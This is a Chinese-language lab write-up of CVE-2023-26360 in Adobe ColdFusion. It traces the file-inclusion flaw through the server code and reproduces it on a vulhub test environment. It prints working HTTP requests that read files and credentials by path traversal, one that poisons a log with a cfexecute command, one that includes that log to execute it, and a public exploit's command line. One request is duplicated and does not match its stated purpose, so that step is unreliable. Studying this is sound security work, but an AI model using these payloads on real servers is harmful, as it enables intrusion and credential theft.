漏洞介绍

Adobe ColdFusion是一种用于构建动态Web应用程序的服务器端编程语言和开发平台。它由Adobe Systems开发和维护。ColdFusion的主要目标是简化Web应用程序的开发过程,通过提供一个强大且易于使用的平台,使开发人员能够快速构建功能丰富的Web应用。

Adobe ColdFusion 2018 Update 15 和 2021 Update 5 版本及以前,存在一处文件包含漏洞。攻击者可以利用该漏洞在服务器上执行任意代码。

漏洞范围

Adobe ColdFusion < 2018.0.16、Adobe ColdFusion < 2021.0.6

漏洞靶场

使用vulhub的靶场:

使用环境为Coldfusion 2018.0.15

vulhub-master/coldfusion/CVE-2023-26360

1
docker-compose up -d

等待一段时间后环境启动成功,访问http://your-ip:8500/CFIDE/administrator/index.cfm,输入密码vulhub,即可成功安装Adobe ColdFusion。

漏洞原理

网上的漏洞利用入口为 /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc ,我们就先来分析 ***.cfc** 的路由处理逻辑。从 web.xml 配置文件里面可以看到,该路由的处理类为 coldfusion.bootstrap.BootstrapServlet 。而这个类只是一个入口类,实际处理类为 coldfusion.xml.rpc.CFCServlet

img

coldfusion\cfusion\wwwroot\WEB-INF\lib\cfmx_bootstrap.jar!\coldfusion\bootstrap\BootstrapServlet.class#L60-L90, L223-L246

coldfusion.xml.rpc.CFCServlet 这个类里,使用 IPFilterUtils.checkAdminAccess() 函数来判断当前路由用户是否有权限访问。然而这个函数使用了 req.getRequestURI()startsWith() 来判断权限,明显存在绕过。例如:原先访问 /CFIDE/adminapi 会被限制,现在改成 /CFIDE//adminapi 即可绕过程序检测。这处绕过,也就是后面的 CVE-2023-29298 漏洞。

img

coldfusion\cfusion\lib\cfusion.jar!\coldfusion\xml\rpc\CFCServlet.class#L213-L219

本次我们分析的是 CVE-2023-26360 ,继续往下跟代码逻辑。Adobe ColdFusion 程序根据不同的请求类型(CFC或者Axis),创建对应的 filterchain 。在 CFC 对应的的 filterchain 中,我们需要关注 GlobalsFilter、ComponentFilter 这两个 filter

img

第一个过滤器 GlobalsFilter ,主要用来初始化请求相关信息,并将这些信息封装在不同的 scope 里。后续 POC 中的部分参数,就是从这些 scope 中获取,所以这里稍微关注下就行。

img

coldfusion\cfusion\lib\cfusion.jar!\coldfusion\filter\GlobalsFilter.class#L16-L25

coldfusion\cfusion\lib\cfusion.jar!\coldfusion\filter\FusionContext.class#L254-L354

第二个过滤器 ComponentFilter ,就是本次漏洞要关注的核心类了。这里,我们需要重点关注以下3个部分。

  • 第1个部分:我们需要将 urlScope.get(“_cfclient”) 设置为 true ,这样才能触发到后续的漏洞点。而 urlScope 中的数据来自 GET 请求数据,所以我们正常设置 _cfclient=true 就行。
  • 第2个部分:这里调用了 FilterUtils.GetArgumentCollection(context) ,该函数主要是将用户请求数据重新封装起来。在函数里面,我们关注到调用了 WDDXDeserialize() ,存在一个反序列化操作。这处也就是后续的 CVE-2023-29300 漏洞,本文暂不讨论。
  • 第3个部分:这处会把第2步封装好的数据,传给 JSONUtils.deserializeJSON() 函数处理。这个函数调用栈比较长,我们下面会逐步分析。

img

coldfusion\cfusion\lib\cfusion.jar!\coldfusion\filter\ComponentFilter.class#L38-L212

JSONUtils.deserializeJSON() 函数中,程序会从用户请求数据中取 classname 数据,然后将其传给 TemplateProxyFactory.resolveFile() 函数。

img

coldfusion\cfusion\lib\cfusion.jar!\coldfusion\runtime\JSONUtils.class#L1110-L1166

coldfusion\cfusion\lib\cfusion.jar!\coldfusion\runtime\JSONUtils.class#L1562-L1592

TemplateProxyFactory.resolveFile() 函数,会根据传进来的文件路径,去加载对应的类。如果我们指定的路径文件不是标准的 Java 字节码文件,程序会自动把他编译成字节码文件,最终缓存至 /app/WEB-INF/cfclasses/ 目录下。新编译的类继承自 coldfusion.runtime.CFPage ,并且程序最终会调用新编译类的 runPage() 方法。我们可以来看一下,当模板文件名为 ../../../../../../../../../../../../../etc/passwd 时,程序编译后的字节码文件如下:

img

那么通过这一特性,我们就能达到任意文件读取的效果。在审计代码时,我们会发现这个系统上自带一些 cfc 文件。这些文件里面出现了很多特殊标签,如 cfinclude、cffunction、cfargument、cfset、cfif 等。通过查询资料,我们发现这些标签都属于 CFML(ColdFusion Markup Language)语言的一部分。那么我们就可以通过翻阅官方手册,找一些危险函数来达到 RCE 的目的。
例如:写文件函数

img

例如:命令执行函数

img

最终的利用思路:将 CFML 语句通过报错写入日志文件中,然后再通过 CVE-2023-26360 漏洞编译、执行日志文件实现 RCE

漏洞复现

发送如下请求即可读取文件/proc/self/environ

1
2
3
4
5
6
7
8
9
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=foo&_cfclient=true HTTP/1.1
Host: localhost:8500
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 82
Content-Type: application/x-www-form-urlencoded

_variables={"_metadata":{"classname":"../../../../../../../../proc/self/environ"}}

可以在返回包中找到Adobe ColdFusion的根目录/opt/coldfusion/cfusion

image-20250320194331640

../../../../../../../../opt/coldfusion/cfusion/lib/password.properties中读取服务器密码:

1
2
3
4
5
6
7
8
9
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=foo&_cfclient=true HTTP/1.1
Host: localhost:8500
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 82
Content-Type: application/x-www-form-urlencoded

_variables={"_metadata":{"classname":"../../../../../../../../proc/self/environ"}}

image-20250320194543760

想要利用文件包含漏洞执行任意代码,需要先发送如下请求来写入CFM脚本:

1
2
3
4
5
6
7
8
9
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=foo&_cfclient=true HTTP/1.1
Host: localhost:8500
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 67
Content-Type: application/x-www-form-urlencoded

_variables=<cfexecute name='id' outputFile='/tmp/success' ></cfexecute>

然后包含日志文件,执行该CFM代码:

1
2
3
4
5
6
7
8
9
POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=foo&_cfclient=true HTTP/1.1
Host: localhost:8500
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 111
Content-Type: application/x-www-form-urlencoded

_variables={"_metadata":{"classname":"../../../../../../../../opt/coldfusion/cfusion/logs/coldfusion-out.log"}}

可见,id命令的执行结果已经被写入/tmp/success

image-20250320195205860

exp使用

https://github.com/yosef0x01/CVE-2023-26360

1
python CVE-2023-26360.py http://192.168.159.132:8500/ "../../../../etc/passwd" /CFIDE/AIR/Conflict.cfc

image-20250320195847932

参考

https://xz.aliyun.com/news/12835

https://github.com/vulhub/vulhub/blob/master/coldfusion/CVE-2023-26360/README.zh-cn.md